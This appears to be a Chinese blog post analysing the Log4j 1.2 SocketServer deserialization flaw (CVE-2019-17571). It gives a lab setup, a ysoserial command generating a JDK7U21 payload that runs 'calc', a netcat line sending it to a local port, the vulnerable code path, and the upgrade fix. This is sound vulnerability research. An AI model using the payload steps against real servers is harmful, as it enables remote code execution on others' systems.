• Apache Log4j 反序列化代码执行(CVE-2019-17571) 漏洞分析


    Apache Log4j 漏洞分析

    仅用于研究漏洞原理,禁止用于非法用途,后果自负!!!

    CVE-2019-17571

    漏洞描述

    Log4j是美国阿帕奇(Apache)软件基金会的一款基于Java的开源日志记录工具。Log4j 1.2版本中包含一个SocketServer类,在未经验证的情况下,该SocketServe类很容易接受序列化的日志事件并对其进行反序列化,在结合反序列化工具使用时,可以利用该类远程执行任意代码。

    环境搭建

    方便测试,添加JDK7U21的漏洞环境

    1. 新建Maven项目,pom.xml中添加
    <dependencies>
        <dependency>
            <groupId>log4j</groupId>
            <artifactId>log4j</artifactId>
            <version>1.2.17</version>
        </dependency>
    </dependencies>
    
    1. 编写测试方法
    public class CVE_2019_17571 {
    
        private static final Logger log = Logger.getLogger(SimpleSocketServer.class);
        public static void main(String[] args) {
    
            System.out.println("start:");
    
            String[] argss = {"4444", "src/log4j.properties"};
    
            SimpleSocketServer.main(argss);
    
            log.info("succ");
        }
    }
    
    1. Ysoserial生成POC(JDK7U21),发送POC
    java -jar ysoserial.jar JDK7U21 "calc" > poc.ser
    cat poc.ser | nc 127.0.0.1 4444
    

    漏洞分析

    • org.apache.log4j.net.SimpleSocketServer#main()
      首先开启Log4j自带的SocketServer服务器时,会监听设置的端口,然后获取Socket对象,进入SocketNode类进行处理.
    • org.apache.log4j.net.SocketNode
      SocketNode类的构造方法中会对socket接收的数据封装为一个Object流对象.
    • org.apache.log4j.net.SocketNode#run()
      在run()方法中直接进行反序列化

    漏洞修复

    目前官方已在Apache Log4j 2.8.2版本之后修复了该漏洞,请受影响的用户升级至2.8.2 或更高的版本进行防护.

    参考

    【威胁通告】Apache Log4j 反序列化远程代码执行(CVE-2019-17571)漏洞威胁通告

  • 相关阅读:
    插入排序(C语言版)
    2015蓝桥杯分机号(C++C组)
    2015蓝桥杯二项式
    2016蓝桥杯报纸页数(C++C组)
    区块链
    C语言学生管理系统完善版
    数据结构队列
    C语言数据结构队列
    C语言数据结构栈
    javascript 事件
  • 原文地址:https://www.cnblogs.com/wadewfsssss/p/12100436.html
Copyright © 2020-2023  润新知